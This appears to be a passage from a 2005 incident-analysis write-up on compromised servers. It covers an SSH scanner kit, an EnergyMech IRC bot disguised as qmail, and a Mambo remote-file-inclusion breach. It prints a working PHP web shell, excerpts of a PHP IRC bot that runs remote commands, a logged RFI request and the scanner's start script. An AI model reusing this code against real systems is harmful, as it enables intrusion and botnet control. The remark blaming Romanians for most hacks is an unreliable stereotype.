It would also make sense that attackers are so lazy, they write scripts for their scripts so they don't forget which order to execute them in. Of course, this could also be construed as smart, in the case that they're looking to save time. The bash script named start contains enough data to guess what the other ELF files do, without doing any dynamic or static analysis on the executables themselves:

# cat start
#!/bin/bash
if [ $# != 1 ]; then
        echo " usage: $0 [b class]"
        exit;
fi

echo "### FeReA Ca VeNi SSH22 Scanner  TEAM3 !  ###"
echo "## Yo Ma Men Check this out##"
echo "# oRiGiNaL & CoReKt din nou la munka !! #"
./pscan2 $1 22

sleep 10
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo "# Hopa...Hai mojule hai Te tine? "
echo "# Aaaaa putza numa  $oopsnr2 de servere.. Gasite cine stie :>>"
echo "----------------------------------------"
echo "# Wepaaaa.. Ploua Cu Roate"
./ssh-scan 100
rm -rf $1.pscan.22 mfu.txt
echo "Lasa MoJuLe Poate Data Viitoare"

Also notice all the text is in Romanian. If a web server gets hacked, there's a good chance the Romanians are responsible. Anyway, when you call start with a class B network as an argument, it feeds the network to pscan2 and passes port 22 to the program. By default, pscan2 writes a file to disk with the first three octets of the class B network followed by pscan.22 (ie 192.168.1.pscan.22). Then, they do a bit of processing on the pscan.22 file in order to extract and save the unique addresses into mfu.txt. The ssh-scan file looks for mfu.txt in the same path and requires a numerical argument, which might be a time interval for scans. When called without the argument, ssh-scan prints "./ssh-scan " which is "how many ____ to set it to." Unfortunately, my reliable Romanian to English translator is missing the word pizde, so the object of what we're setting is unknown.

Lastly, the start script removes the pscan.22 and mfu.txt files. As a sad ending, the user who owned the box then stopped responding to emails on the subject, so no more data on the server's status, or how it was initially exploited, is not available.

Judging by the language in the code, this is clearly another Romanian job. Here are the fingerprints in case anyone else has seen these files around and can share some information:

# md5sum *; sha1sum *
a9e4aa894dadc5779729db1d1d5c670c  pass_file
9d6713a47efb2ed3fe0bfab170639950  pico
acba0143d0cbcf8092b8b44d914d7983  pscan2
a213ebd69fbc11d612d0374b373f65d8  ssh-scan
f4637aaf05227eb68d15af8449d2c85c  start
dc81368032f7131a5ef093114dd78dbac9318797  pass_file
5bc7ec5d9e250cab8ff0b2bb91a0b16180dc1f74  pico
dd78792e0efcc8b116341538084f64a19e291432  pscan2
4f64a5b07b0c128771ea21bf4aa15610fc6b071c  ssh-scan
ca3d6dff47059a3caf0f35f3663e2c58568a3711  start

PHP/Web Shell Offenders

PHP shell offenders are pretty powerful tools. They have probably been around for as long as PHP has been around, but it seems like the era of vulnerable web applications has made them even more popular than normal. They generally have command line input forms, file upload forms, server information panels, install menus, and file system browsers. This is an instance where Google hacking could really turn up some dangerous information, but this will be discussed in another report.

Here is a screen shot of Loader'z Web Shell, which is also titled Zetha Web Shell. It displays the system hostname, free disk space, UID & GID of web process, kernel version, currenty time, platform architecture, uptime, and directory listing. It supports arbitrary commands, changing CWD, fetching remote files, and local file editing. This shell was cited by Internet Storm Center in late November as being used in the widepsread Mambo exploits, [2005-11-20 Diary]. The script was reportedly dervied from pro-hack.ru.

This section is discontinued in place of (Upload Scripts & Toolkits). If this file isn't active yet, it will be soon.

Qmail (EnergyMech) IRC Toolkit

We all know that (EnergyMech) is a favorite among Romanian crackers (others too, I'm sure). The tool provides a flexible IRC bot that's even easier for attackers to use than someone else's perl script (I just finished writing about sirh0t wanabees). For an intense story about EnergyMech, see our (Scan of the Month 34) submission. Otherwise, just enjoy this quick refresher on common techniques to populate your bot net.

Unfortunately, I can't remember where the heck I got this file named qmail.tgz. It may have been from someone off a mailing list whose server was compromised. According to the 'start' script, it originally was named b.tgz (shown later). In this case, the EnergyMech program is disguised as qmail (qmail-rspawn in particular). The package comes with 3 users files (one for each bot configuration), which all contain the same information. Before showing the details, here is a quick synopsis of the contents and md5sum values.

# tar -xvzf qmail.tgz
qmail/
qmail/LinkEvents
qmail/randfiles/
qmail/randfiles/randpickup.e
qmail/randfiles/randsignoff.e
qmail/randfiles/randkicks.e
qmail/randfiles/randsay.e
qmail/randfiles/randinsult.e
qmail/1.users
qmail/start
qmail/2.users
qmail/3.users
qmail/mech.set
qmail/qmail-rspawn
# cd qmail/
# md5sum *
03979b62da6dc4c865e96728ad4e3aae  1.users
f09a395bfb54933b3f79a1b2791aaabe  2.users
f09a395bfb54933b3f79a1b2791aaabe  3.users
89970e035b45bfcaa0a0c27755c85250  LinkEvents
19803dcac73e45828a4eea0f133a553b  mech.set
b7746946a4ac3a113f1109b305df84ac  qmail-rspawn
md5sum: randfiles: Is a directory
8387b2d7f6e558851f00e5c5b262aff0  start

Here is one of the user files. Why are there 3 files if they all contain the same information? Per a comment in the mech.set file: "No two bots can have the same user file."

# cat 1.users
handle          th3-brain
mask            *!*@pinky.users.undernet.org
prot            4
aop
channel         *
access          100

As mentioned earlier, the 'start' script is what gets it all going:

# cat start
PATH=:$PATH
qmail-rspawn
rm -rf mech.pid
cd ..
rm -rf b.tgz*

Having only this archive, it's difficult to determine how and when the server was exploited and what the infection vector was. However, with the next few reports that will be released in the first few months of 2006, this doesn't really worry me (just wait).

The mech.set file contains most of the configuration for the three bots. This is great because in the case that we wanted to monitor the channel and track these attackers a bit closer, it could be done with some of the information in this file. Here are some interesting extracts:

##### Bot 1 Configuration ##### 
NICK          chica
LOGIN         loco
IRCNAME       Pinky & The Brain Corporation
CHANNEL       #fbiteam mircea
##### END BOT 1 #####

##### Bot 2 Configuration #####
NICK          chiosc
LOGIN         NFSU2
IRCNAME       NEED FOR FUCKING SPEED II
CHANNEL       #fbiteam mircea
##### END BOT 2 #####

##### Bot 3 Configuration #####
NICK          hondahrv
LOGIN         family
IRCNAME       Buju & The Brain Family
CHANNEL       #fbiteam mircea
##### END BOT 3 #####

In all three cases, the bot joins channel #fbiteam mircea. The channel name, nicks, logins, and real names are all meaningless without some data to correlate with. They are being documented here for use when that time comes.

Artifacts of a Mambo Exploit

This is an example of poor log retention, server administration, and firewall policy. With the evidence given, we know something quite concerning happened, but it's not enough to reconstruct the event. An IRC bot of some type was active on the exploited server, per the following IDS alerts (UTC):

Count:1426 2005-11-23 01:01:47 CHAT IRC nick change
x.x.x.37 -> 66.252.2.190
Protocol: 6 sport=57623 -> dport=6667

NICK m00p-7608..
USER owww . . :moopy
------------------------------------------------------------------------
Count:167 2005-11-23 01:06:20 High port IRC Chat
66.252.2.190 -> x.x.x.37
Protocol: 6 sport=6667 -> dport=57623

:yaobuluzen!~rfg
tujce@FEC182C.12
032B4C.DEEDD6A.I
PRIVMSG #mpy :
!cmd uptime; uname -a
------------------------------------------------------------------------
Count:69 2005-11-23 01:06:20 CHAT IRC message
x.x.x.37 -> 66.252.2.190
Protocol: 6 sport=57623 -> dport=6667

PRIVMSG #mpy :Linux
[hostname-censored] 2.4.20-29.7.progeny.8smp #1
SMP Mon Aug 9 20:30:22 EDT 2004 i686 unknown
------------------------------------------------------------------------
Count:45 2005-11-23 01:10:43 CHAT IRC message
66.252.12.254 -> x.x.x.37
Protocol: 6 sport=6667 -> dport=57780

:matt!parasite@Obituary.Birthday
PRIVMSG #mpy :buggy

The use of IRC is of course not surprising. The exploited server is communicating with multiple remote machines over TCP 6667. It's logging onto the #mpy IRC channel with nick "m00p-7608" (this is produced by a rand(1000,9999) function in the pb.php file) and answering PRIVMSG queries about uptime and kernel versions. These are the only logs we have to analyze, however undoubtedly there are hundreds or thousands of missing conversations.

Although a large portion of what we *want* is missing, there are a few important artifacts preserved. For example, we were able to obtain the output of 'ls -al' in the web root of the infected server's Apache process. Opposed to the logs above, which are shown in UTC, these entries are in UTC-5.

-rw-r--r--    1 apache   apache        157 Nov 22 20:34 hosten.php
-rw-r--r--    1 apache   apache        360 Nov 22 20:15 index.htm
-rw-r--r--    1 apache   apache        324 Nov 22 20:14 index.html
-rw-r--r--    1 apache   apache        157 Nov 22 20:11 m00p.php
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.1
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.10
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.11
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.2
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.3
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.4
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.5
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.6
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.7
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.8
-rw-r--r--    1 apache   apache       1162 Nov 22 19:57 pb.php.9

Notice there are 12 pb.php files with the same file size (and same md5sum). These files were all last modified at 19:57:14 UTC-5. A bit of web access log analysis shows that there are exactly 12 requests similar the following entry:

86.143.146.16 - - [22/Nov/2005:20:08:50 -0500] "GET /?_REQUEST=&_REQUEST[option] \
=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= \
http%3A%2F%2Fplaytimepiano.home.comcast.net HTTP/1.1" 200 - "-" \
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Of the 12 requests, there are 12 unique source IP addresses and a time window that spans 20:08:50 UTC-5 to 21:34:09 UTC-5. Had a susceptible version of Mambo been exposed, a remote file inclusion vulnerability, [see Frsirt] would have been exploited. Indeed an older version of Mambo resided on the server that we were investigating. As such, this unpatched installation of Mambo is credited with the weakness which lead to the exploit. Before going any further, there may be a small variance in the last modified time stamps and the the access log time stamps. For example, the first in sequence out of the 12 hits was as 20:08:50 UTC-5, but the pb.php files all report a last modification date of 19:57:14 UTC-5; almost 15 minutes before the web request. If we are to believe the 12 web hits were the cause and the 12 pb.php files were the effect, the time order relationship is a little skewed. However, there are no other explanations at this point, so I'll stick with it.

To complete the web access log analysis, this Mambo installation seemed to have been attacked more than just once. One request came in around the 21st (a day before this round described above) and set the mosConfig_absolute_path variable to "http://www.river.com.ru." Then, two requests came in on the 27th with a User Agent of "DataCha0s/2.0" and they set the variable to "http://www.vac.com.sg/cproject/cse.gif." The cse.gif file is described in the (CSE, ZeroBoard, & Hatorihanzo Rootkit) story.

Since according to the IDS alerts, the IRC server was active around 01:00 UTC on the 23rd, and the cse.gif entry occurred on the 27th, it will not be discussed further as an event which lead to the IRC bot installation. Furthermore, 01:00 UTC on the 23rd (when the IDS detected IRC activity) is just about 20:00 UTC-5 on the 22nd (when the pb.php and other files were last modified), there is a strong correlation between these two pieces of data.

So now, what do these files contain? The two index pages (index.htm and index.html) are ammo for defacing the web site. Funny that the web server's default page was index.php, which was not defaced. Here is the contents of the .htm and .html index pages:

[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null
[m00p]xt gr33tz phr0stic, okasvi, wp, l337, MrX, kick, null

A quick Google search for this combination turned up a web site that was recenty hit by the same attackers. It was last indexed by the search engine on December 23, 2005 (two days ago):

m00p.php and hosten.php contain the same code - a lightweight PHP shell offender:

[? 
  $cmd = stripslashes($_POST['cmd']); 
  if ($cmd) { 
    echo "[pre]"; 
    system($cmd); 
    echo "[/pre]"; 
  } 
?]
[form method="POST"][input type="text" name="cmd" /][/form]

This is perhaps how files in the web site's root were modified and how other files were introduced onto the server. Of our evidence, only the pb.php files remain; and as stated earlier these are all exactly the same content. pb.php is a < 50 line perl IRC bot with very limited functionality. It runs as a deamon via while(1) loop and connects to irc.skene.net on TCP 6667. Once connected, it logs in as m00p-".rand(1000,9999).", joins channel #mpy, and then awaits some chatter. If commands are sent to the channel, the bot executes it via system() and reports the output using PRIVMSG. Here are some extracts from the code that illustrate these functions:

while (1) {
  do {
    $ip = gethostbyname('irc.skene.net');
    $s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    $ret = socket_connect($s, $ip, 6667);
 } while ($ret < 0);

 $in = "NICK m00p-".rand(1000,9999)."\r\nUSER owww . . :moopy\r\n";

 if ($a[0] == "PING") {
   $in = "PONG ".$a[1]."\r\nJOIN #mpy\r\n";
   socket_write($s, $in, strlen($in));
 }
 else if ($a[3] == ":!cmd") {
   $cmd = $a[4];
   for ($i=5; $a[$i]; $i++) {
     $cmd .= " ".$a[$i];
   }
   $in = "PRIVMSG #mpy :".str_replace("\n", " ", system($cmd))."\r\n";
   socket_write($s, $in, strlen($in));
 }
}

It would probably be safe to assume that an abundance of sensitive server-related information was leaked over the IRC channel. The attackers learned the kernel version and build, and had the ability to load remote files onto the file system. This could have lead to a locate root exploit if the existing kernel had any vulnerabilities. In conclusion, the lack of IRC logs, packet captures, and full web access logs, we aren't able to reconstruct the entire event. In any case, the exploit was well deserved due to improper patching of the Mambo installation and poor egress filtering.

P.S. The Frsirt advisory above also publishes an exploit utility which could have been used in this event. The attacker would simply load this script onto a web server and use it to target other servers. Here is a screen shot of the menu panel: